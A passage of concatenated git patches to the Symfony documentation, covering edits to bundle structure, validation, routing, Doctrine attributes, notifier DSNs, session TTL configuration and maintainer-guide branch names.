     Contains all PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
 
+``assets/``
+    Contains javascript, css, images and other assets related to the bundle that are not in ``/public`` (e.g. stimulus controllers)
+    
 ``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
 

From e787633ff1c4e2b34cbfe263fbf4307e970690a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jun 2022 13:28:41 +0200
Subject: [PATCH 3298/7107] Minor tweaks

---
 bundles.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index cd4813cfe11..904f2d3f497 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -97,9 +97,6 @@ to be adjusted if needed:
 
 ``src/``
     Contains all PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
-
-``assets/``
-    Contains javascript, css, images and other assets related to the bundle that are not in ``/public`` (e.g. stimulus controllers)
     
 ``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
@@ -115,6 +112,10 @@ to be adjusted if needed:
     linked into the project ``public/`` directory via the ``assets:install`` console
     command.
 
+``assets/``
+    Contains JavaScript, CSS, images and other assets related to the bundle that
+    are not in ``public/`` (e.g. stimulus controllers)
+
 ``tests/``
     Holds all tests for the bundle.
 

From 38573bb2367e982f9a2f4c5cb623da705bf0020e Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 31 May 2022 20:34:04 +0200
Subject: [PATCH 3299/7107] [Validator] Update validation.rst

---
 validation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/validation.rst b/validation.rst
index f48ab95d10c..5fdc5544b59 100644
--- a/validation.rst
+++ b/validation.rst
@@ -453,8 +453,8 @@ of the form fields::
 Constraint Targets
 ------------------
 
-Constraints can be applied to a class property (e.g. ``name``), a public
-getter method (e.g. ``getFullName()``) or an entire class. Property constraints
+Constraints can be applied to a class property (e.g. ``name``),
+a getter method (e.g. ``getFullName()``) or an entire class. Property constraints
 are the most common and easy to use. Getter constraints allow you to specify
 more complex validation rules. Finally, class constraints are intended
 for scenarios where you want to validate a class as a whole.
@@ -555,7 +555,7 @@ Getters
 ~~~~~~~
 
 Constraints can also be applied to the return value of a method. Symfony
-allows you to add a constraint to any public method whose name starts with
+allows you to add a constraint to any private, protected or public method whose name starts with
 "get", "is" or "has". In this guide, these types of methods are referred to
 as "getters".
 

From 0e14ecf7db4e592c7d1569dcca55beb8797d2f29 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jun 2022 16:11:20 +0200
Subject: [PATCH 3300/7107] [Security] Enforce maximum username length

---
 security/custom_authenticator.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4178e254904..7d0ea155df3 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -205,6 +205,11 @@ using :ref:`the user provider <security-user-providers>`::
     // ...
     $passport = new Passport(new UserBadge($email), $credentials);
 
+.. note::
+
+    The maximum length allowed for the user identifier is 4096 characters to
+    prevent `session storage flooding`_ attacks.
+
 .. note::
 
     You can optionally pass a user loader as second argument to the
@@ -373,3 +378,5 @@ authenticator methods (e.g. ``createToken()``)::
             return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
         }
     }
+
+.. _`session storage flooding`: https://symfony.com/blog/cve-2016-4423-large-username-storage-in-session

From e33e717e6755a598192ed8db8d392707ddc14206 Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Fri, 10 Jun 2022 13:53:10 +0200
Subject: [PATCH 3301/7107] [FrameworkBundle] Document the
 `framework.profiler.collect_serializer_data` option

---
 reference/configuration/framework.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 7dabd6887c9..b30b519079f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1277,6 +1277,17 @@ dsn
 
 The DSN where to store the profiling information.
 
+.. _collect_serializer_data:
+
+collect_serializer_data
+.......................
+
+**type**: ``boolean`` **default**: ``false``
+
+This option enables the serializer data collector and profiler panel. If set
+to ``true``, all normalizers and encoders are decorated by traceable implementations
+that are meant to collect profiling information about them.
+
 rate_limiter
 ~~~~~~~~~~~~
 

From e16e05ab02983f166296564b4cb2a9b9b1c33db2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jun 2022 14:51:20 +0200
Subject: [PATCH 3302/7107] [Notifier] Added the Engagespot push notification

---
 notifier.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 24e48d6e8cb..53e483f7dd0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -320,11 +320,16 @@ integration with these push services:
 ==============  ====================================  =================================================================================
 Service         Package                               DSN
 ==============  ====================================  =================================================================================
-Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Engagespot      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
 ==============  ====================================  =================================================================================
 
+.. versionadded:: 6.1
+
+    The Engagespot integration was introduced in Symfony 6.1.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From f0145cf7c84d40c6f8d1187f146cdf4e4d5317d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jun 2022 17:38:42 +0200
Subject: [PATCH 3303/7107] Reword

---
 routing.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/routing.rst b/routing.rst
index 258730bb2ce..4517eb95fc3 100644
--- a/routing.rst
+++ b/routing.rst
@@ -24,12 +24,12 @@ because it's convenient to put the route and controller in the same place.
 Creating Routes as Attributes or Annotations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-On PHP 8, you can use native attributes to configure routes right away. On
-PHP 7, where attributes are not available, you can use annotations instead,
-provided by the Doctrine Annotations library.
+PHP attributes and annotations allow to define routes next to the code of the
+:doc:`controllers </controller>` associated to those routes. Attributes are
+native in PHP 8 and higher versions, so you can use them right away.
 
-In case you want to use annotations instead of attributes, run this command
-once in your application to enable them:
+In PHP 7 and earlier versions you can use annotations (via the Doctrine Annotations
+library), but first you'll need to install the following dependency in your project:
 
 .. code-block:: terminal
 
@@ -41,10 +41,11 @@ once in your application to enable them:
     Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
     annotate controller actions with routing configuration.
 
-If you are using :ref:`Symfony Flex <symfony-flex>` this command also
-creates the following configuration file and you're done. If you aren't
-using flex or want to use attributes, the file has to be added manually.
-``type: annotation`` applies for attributes, too.
+Regardless of what you use (attributes or annotations) you need to add a bit of
+configuration to your project before using them. If you installed the annotations
+dependency and your project uses :ref:`Symfony Flex <symfony-flex>`, this file
+is already created for you. Otherwise, create the following file manually
+(the ``type: annotation`` option also applies to attributes, so you can keep it):
 
 .. code-block:: yaml
 

From cdcb931ef0ae353d5f9e86fa6e8a8cd753b6a29f Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 12 Jun 2022 17:46:46 +0200
Subject: [PATCH 3304/7107] Update questionhelper.rst

hello

the example shows a warning (preg_match(): No ending delimiter'/' found). to solve it, we need to add the ``/`` at the end of the regex.
---
 components/console/helpers/questionhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 8ba4c5ee2de..a25c638d58d 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -410,7 +410,7 @@ invalid answer and will only be able to proceed if their input is valid.
 
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
         $validation = Validation::createCallable(new Regex([
-            'pattern' => '/^[a-zA-Z]+Bundle$',
+            'pattern' => '/^[a-zA-Z]+Bundle$/',
             'message' => 'The name of the bundle should be suffixed with \'Bundle\'',
         ]));
         $question->setValidator($validation);

From b3fb226da727b0ef8270b0840ff1b5631a80a05d Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Mon, 13 Jun 2022 14:30:11 +0200
Subject: [PATCH 3305/7107] [Doctrine] Add attribute example for Lifecycle
 Callbacks

---
 doctrine/events.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 4e5581c14de..4832abf72ae 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -80,6 +80,29 @@ define a callback for the ``prePersist`` Doctrine event:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Product.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+
+        // When using attributes, don't forget to add #[ORM\HasLifecycleCallbacks]
+        // to the class of the entity where you define the callback
+
+        #[ORM\Entity]
+        #[ORM\HasLifecycleCallbacks]
+        class Product
+        {
+            // ...
+
+            #[ORM\PrePersist]
+            public function setCreatedAtValue(): void
+            {
+                $this->createdAt = new \DateTimeImmutable();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/doctrine/Product.orm.yml

From 172d6525620e6bb3cc4d1242131e6654328fb27e Mon Sep 17 00:00:00 2001
From: Shamsi Babakhanov <107327961+shamsibabakhanov@users.noreply.github.com>
Date: Sun, 12 Jun 2022 22:43:39 +0400
Subject: [PATCH 3306/7107] Update http_kernel_httpkernelinterface.rst

The esi tag is not shown in the documentation page.
---
 create_framework/http_kernel_httpkernelinterface.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 9bda9e5c731..67596297676 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -155,7 +155,7 @@ rest of the content? Edge Side Includes (`ESI`_) to the rescue! Instead of
 generating the whole content in one go, ESI allows you to mark a region of a
 page as being the content of a sub-request call:
 
-.. code-block:: text
+.. code-block:: xml
 
     This is the content of your page
 

From 75f899d91bf552c91c092d328346b49479d79bde Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jun 2022 18:00:13 +0200
Subject: [PATCH 3307/7107] Use HTML syntax highlighting

---
 create_framework/http_kernel_httpkernelinterface.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 67596297676..ede06d965d4 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -155,7 +155,7 @@ rest of the content? Edge Side Includes (`ESI`_) to the rescue! Instead of
 generating the whole content in one go, ESI allows you to mark a region of a
 page as being the content of a sub-request call:
 
-.. code-block:: xml
+.. code-block:: html
 
     This is the content of your page
 

From 2748e2eb79573d8dabfa7e2ec6054cd78a36bacd Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Thu, 9 Jun 2022 23:01:23 +0200
Subject: [PATCH 3308/7107] [Translation] Update locale.rst

---
 translation/locale.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/translation/locale.rst b/translation/locale.rst
index 33e287e1c4b..d4a28f74961 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -85,6 +85,26 @@ A better policy is to include the locale in the URL using the
             {
             }
         }
+        
+    .. code-block:: php-attributes
+
+        // src/Controller/ContactController.php
+        namespace App\Controller;
+
+        // ...
+        class ContactController extends AbstractController
+        {
+            #[Route(
+                path: '/{_locale}/contact',
+                name: 'contact',
+                requirements: [
+                    '_locale' => 'en|fr|de',
+                ],
+            )]
+            public function contact()
+            {
+            }
+        }
 
     .. code-block:: yaml
 

From 2ed1cc77a1898e8023e2a15e2ded5142f91a179e Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Wed, 15 Jun 2022 09:44:43 +0200
Subject: [PATCH 3309/7107] [Form] Fix undefined variable

---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index c8996787017..2b56b2fe07d 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -59,7 +59,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             $form = $this->factory->create(TestedType::class, $model);
 
             $expected = new TestObject();
-            // ...populate $object properties with the data stored in $formData
+            // ...populate $expected properties with the data stored in $formData
 
             // submit the data to the form directly
             $form->submit($formData);

From 145de8e7a407425608b857e679d4d3c9c1c16755 Mon Sep 17 00:00:00 2001
From: Oliver Kossin <oliver.kossin@qossmic.com>
Date: Wed, 15 Jun 2022 13:05:27 +0200
Subject: [PATCH 3310/7107] Remove deprecated Docs ind "lock"

---
 lock.rst | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/lock.rst b/lock.rst
index 5d864fb0089..688bc3b8c0a 100644
--- a/lock.rst
+++ b/lock.rst
@@ -286,16 +286,3 @@ each lock using the camel case version of its name suffixed by ``LockFactory``
 - e.g. ``invoice`` can be injected automatically by naming the argument
 ``$invoiceLockFactory`` and type-hinting it with
 :class:`Symfony\\Component\\Lock\\LockFactory`.
-
-Blocking Store
---------------
-
-If you want to use the ``RetryTillSaveStore`` for :ref:`non-blocking locks <lock-blocking-locks>`,
-you can do it by :doc:`decorating the store </service_container/service_decoration>` service:
-
-.. code-block:: yaml
-
-    lock.default.retry_till_save.store:
-        class: Symfony\Component\Lock\Store\RetryTillSaveStore
-        decorates: lock.default.store
-        arguments: ['@.inner', 100, 50]

From ffda9516cd142d05160ae52b4bbbcbb048f56ae0 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre@users.noreply.github.com>
Date: Thu, 16 Jun 2022 14:36:43 +0200
Subject: [PATCH 3311/7107] New features must go on the 6.x branch

---
 contributing/code/pull_requests.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 3d45dbd6c62..6f24f982fcb 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -129,7 +129,7 @@ work:
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
 
-* ``5.x``, if you are adding a new feature.
+* ``6.x``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the
@@ -142,7 +142,7 @@ work:
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
     for the ``4.4`` branch, the PR will also be applied by the core team on
-    the ``5.x`` branch.
+    the ``5.x`` and ``6.x`` branches.
 
 Create a Topic Branch
 ~~~~~~~~~~~~~~~~~~~~~

From 4a0bc185703fcd65e34c5f94f5dce7aabb5d4bc5 Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Thu, 16 Jun 2022 15:20:20 +0200
Subject: [PATCH 3312/7107] [Frontend] Update UX package list

---
 frontend/_ux-libraries.rst.inc | 34 +++++++++++++++++++++++-----------
 1 file changed, 23 insertions(+), 11 deletions(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index c88b6b623ef..40a3e441c8c 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -1,18 +1,30 @@
-* `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
+* `ux-autocomplete`_: Transform ``EntityType``, ``ChoiceType`` or *any* ``<select>`` element into an Ajax-powered autocomplete field
+* `ux-chartjs`_: Easy charts with `Chart.js`_
+* `ux-cropperjs`_: Form Type and tools for cropping images
+* `ux-dropzone`_: Form Type for stylized "drop zone" for file uploads
+* `ux-lazy-image`_: Optimize Image Loading with BlurHash
 * `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
+* `ux-notify`_: Send server-sent native notification with Mercure
+* `ux-react`_: Render `React`_ component from Twig
+* `ux-swup`_: Integration with `Swup`_
+* `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
 * `ux-twig-component`_: Build Twig Components Backed by a PHP Class
-* `ux-swup`_: Integration with Swup
-* `ux-chartjs`_: Easy charts with Chart.js
-* `ux-lazy-image`_: Optimize Image Loading with BlurHash
-* `ux-cropperjs`_: Form Type and tools for cropping images
-* `ux-dropzone`_: Form type for stylized "drop zone" for file uploads
+* `ux-typed`_: Integration with `Typed`_
 
-.. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
-.. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
-.. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
-.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
+.. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
-.. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
 .. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
 .. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html
+.. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
+.. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`ux-notify`: https://symfony.com/bundles/ux-notify/current/index.html
+.. _`ux-react`: https://symfony.com/bundles/ux-react/current/index.html
+.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
+.. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
+.. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`ux-typed`: https://symfony.com/bundles/ux-typed/current/index.html
+.. _`Chart.js`: https://www.chartjs.org/
+.. _`Swup`: https://swup.js.org/
+.. _`React`: https://reactjs.org/
 .. _`Turbo Drive`: https://turbo.hotwired.dev/
+.. _`Typed`: https://github.com/mattboldt/typed.js/

From 848d7b35fd0f68abfce57349e96c9a3abcc3ae36 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 16 Jun 2022 10:41:41 +0200
Subject: [PATCH 3313/7107] Add page about configuring the session TTL

---
 session.rst                 |   1 +
 session/configuring_ttl.rst | 121 ++++++++++++++++++++++++++++++++++++
 2 files changed, 122 insertions(+)
 create mode 100644 session/configuring_ttl.rst

diff --git a/session.rst b/session.rst
index b603662500d..da6e3e201c7 100644
--- a/session.rst
+++ b/session.rst
@@ -192,5 +192,6 @@ More about Sessions
     session/locale_sticky_session
     session/php_bridge
     session/proxy_examples
+    session/configuring_ttl
 
 .. _`HttpFoundation component`: https://symfony.com/components/HttpFoundation
diff --git a/session/configuring_ttl.rst b/session/configuring_ttl.rst
new file mode 100644
index 00000000000..cf059efc7bb
--- /dev/null
+++ b/session/configuring_ttl.rst
@@ -0,0 +1,121 @@
+.. index::
+    single: Sessions, defining TTL
+
+Configuring the Session TTL
+===========================
+
+Symfony by default will use PHP's ini setting ``session.gc_maxlifetime`` as
+session lifetime. However if you :doc:`store sessions in a database </session/database>`
+you can also configure your own TTL in the framework configuration or even at runtime.
+
+Changing the ini setting is not possible once the session is started so if you
+want to use a different TTL depending on which user is logged in, you really need
+to do it at runtime using the callback method below.
+
+.. _configuring-the-TTL:
+
+Configuring the TTL
+-------------------
+
+You need to pass the TTL in the options array of the session handler you are using:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    - { 'ttl': 600 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <argument type="collection">
+                    <argument key="ttl">600</argument>
+                </argument>
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $services
+            ->set(RedisSessionHandler::class)
+            ->args([
+                service('Redis'),
+                ['ttl' => 600],
+            ]);
+
+.. _configuring-the-TTL-dynamically-at-runtime:
+
+Configuring the TTL dynamically at runtime
+------------------------------------------
+
+If you would like to have a different TTL for different
+users or sessions for whatever reason, this is also possible
+by passing a callback as the TTL value. The callback then has
+to return an integer which will be used as TTL.
+
+The callback will be called right before the session is written.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    - { 'ttl': !closure '@my.ttl.handler' }
+             
+            my.ttl.handler:
+                class: Some\InvokableClass # some class with an __invoke() method
+                arguments:
+                    # Inject whatever dependencies you need to be able to resolve a TTL for the current session
+                    - '@security'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <argument type="collection">
+                    <argument key="ttl" type="closure" id="my.ttl.handler"/>
+                </argument>
+            </service>
+            <!-- some class with an __invoke() method -->
+            <service id="my.ttl.handler" class="Some\InvokableClass">
+                <!-- Inject whatever dependencies you need to be able to resolve a TTL for the current session -->
+                <argument type="service" id="security"/>
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $services
+            ->set(RedisSessionHandler::class)
+            ->args([
+                service('Redis'),
+                ['ttl' => closure(service('my.ttl.handler'))],
+            ]);
+
+        $services
+            // some class with an __invoke() method
+            ->set('my.ttl.handler', 'Some\InvokableClass')
+            // Inject whatever dependencies you need to be able to resolve a TTL for the current session
+            ->args([service('security')]);

From 29e1c0e125ac576b31e6307b381e7b859dfff193 Mon Sep 17 00:00:00 2001
From: Jon Green <jon@tjs.co.uk>
Date: Fri, 10 Jun 2022 16:14:13 +0100
Subject: [PATCH 3314/7107] Update http_foundation.rst

`$request->query->all()['foo'];` triggers an 'Undefined array key "foo"' error when `foo` doesn't exist. However `$request->query->all('foo');` return null  when `foo` doesn't exist (consistent with `$request->query->get('bar');` for accessing a string parameter `bar` which might not exist).
---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 8e31999220f..80609cf1985 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -169,7 +169,7 @@ doesn't support returning arrays, so you need to use the following code::
     // the query string is '?foo[bar]=baz'
 
     // don't use $request->query->get('foo'); use the following instead:
-    $request->query->all()['foo'];
+    $request->query->all('foo');
     // returns ['bar' => 'baz']
 
     $request->query->get('foo[bar]');

From 320a50116911532d52c2cbdc3fd377d4323f8ff9 Mon Sep 17 00:00:00 2001
From: Jon Green <jon+wsl.ubuntu@tjs.co.uk>
Date: Sun, 12 Jun 2022 15:17:54 +0100
Subject: [PATCH 3315/7107] Update http_foundation.rst

---
 components/http_foundation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 80609cf1985..5c97c46874f 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -172,6 +172,10 @@ doesn't support returning arrays, so you need to use the following code::
     $request->query->all('foo');
     // returns ['bar' => 'baz']
 
+    // if the requested parameter does not exist, an empty array is returned:
+    $request->query->all('qux');
+    // returns []
+
     $request->query->get('foo[bar]');
     // returns null
 

From 07a10ec7f5db9ba3479c2cb1260c31feb22ad893 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 16 Jun 2022 18:14:16 +0200
Subject: [PATCH 3316/7107] remove outdated references to the master branch

---
 _build/maintainer_guide.rst           | 6 +++---
 contributing/code/maintenance.rst     | 8 ++++----
 contributing/documentation/format.rst | 6 +++---
 3 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 7e5cbc8caba..d7eefad8edc 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them.
 
     $ gh merge 11059
 
-      Working on symfony/symfony-docs (branch master)
+      Working on symfony/symfony-docs (branch 4.4)
       Merging Pull Request 11059: dmaicher/patch-3
 
       ...
 
       # This is important!! Say NO to push the changes now
       Push the changes now? (Y/n) n
-      Now, push with: git push gh "master" refs/notes/github-comments
+      Now, push with: git push gh "4.4" refs/notes/github-comments
 
       # Now, open your editor and make the needed changes ...
 
@@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them.
       # Use "Minor reword", "Minor tweak", etc. as the commit message
 
       # now run the 'push' command shown above by 'gh' (it's different each time)
-      $ git push gh "master" refs/notes/github-comments
+      $ git push gh "4.4" refs/notes/github-comments
 
 Merging Pull Requests
 ---------------------
diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index e03c22cabf3..caca1b54759 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -41,14 +41,14 @@ Besides bug fixes, other minor changes can be accepted in a patch version:
 
 * **Coding standard and refactoring**: Coding standard fixes or code
   refactoring are not recommended but can be accepted for consistency with the
-  existing code base, if they are not too invasive, and if merging them on
-  master would not lead to complex branch merging;
+  existing code base, if they are not too invasive, and if merging them into
+  higher branches would not lead to complex branch merging;
 
 * **Tests**: Tests that increase the code coverage can be added.
 
 Anything not explicitly listed above should be done on the next minor or major
-version instead (aka the *master* branch). For instance, the following changes
-are never accepted in a patch version:
+version instead. For instance, the following changes are never accepted in a
+patch version:
 
 * **New features**;
 
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 1f6f1787918..297db06adf2 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -201,9 +201,9 @@ For a deprecation use the ``.. deprecated:: 4.x`` directive:
         Not passing the root node name to ``TreeBuilder`` was deprecated in Symfony 4.2.
 
 Whenever a new major version of Symfony is released (e.g. 5.0, 6.0, etc),
-a new branch of the documentation is created from the ``master`` branch.
-At this point, all the ``versionadded`` and ``deprecated`` tags for Symfony
-versions that have a lower major version will be removed. For example, if
+a new branch of the documentation is created from the x.4 branch of the previous
+major version. At this point, all the ``versionadded`` and ``deprecated`` tags for
+Symfony versions that have a lower major version will be removed. For example, if
 Symfony 5.0 were released today, 4.0 to 4.4 ``versionadded`` and ``deprecated``
 tags would be removed from the new ``5.0`` branch.
 

From 94bdfd45f8ac55be058c8cdba5d7f0f5c7235852 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jun 2022 09:52:46 +0200
Subject: [PATCH 3317/7107] Minor update

---
 _build/maintainer_guide.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index fcee70f8f90..6e2017eedd2 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them.
 
     $ gh merge 11059
 
-      Working on symfony/symfony-docs (branch 5.4)
+      Working on symfony/symfony-docs (branch 6.0)
       Merging Pull Request 11059: dmaicher/patch-3
 
       ...
 
       # This is important!! Say NO to push the changes now
       Push the changes now? (Y/n) n
-      Now, push with: git push gh "5.4" refs/notes/github-comments
+      Now, push with: git push gh "6.0" refs/notes/github-comments
 
       # Now, open your editor and make the needed changes ...
 
@@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them.
       # Use "Minor reword", "Minor tweak", etc. as the commit message
 
       # now run the 'push' command shown above by 'gh' (it's different each time)
-      $ git push gh "5.4" refs/notes/github-comments
+      $ git push gh "6.0" refs/notes/github-comments
 
 Merging Pull Requests
 ---------------------

From 3482e0dd2ac77a4441760d1a4f0df5225511d200 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jun 2022 09:53:30 +0200
Subject: [PATCH 3318/7107] Minor update

---
 _build/maintainer_guide.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 6e2017eedd2..d82105e9760 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them.
 
     $ gh merge 11059
 
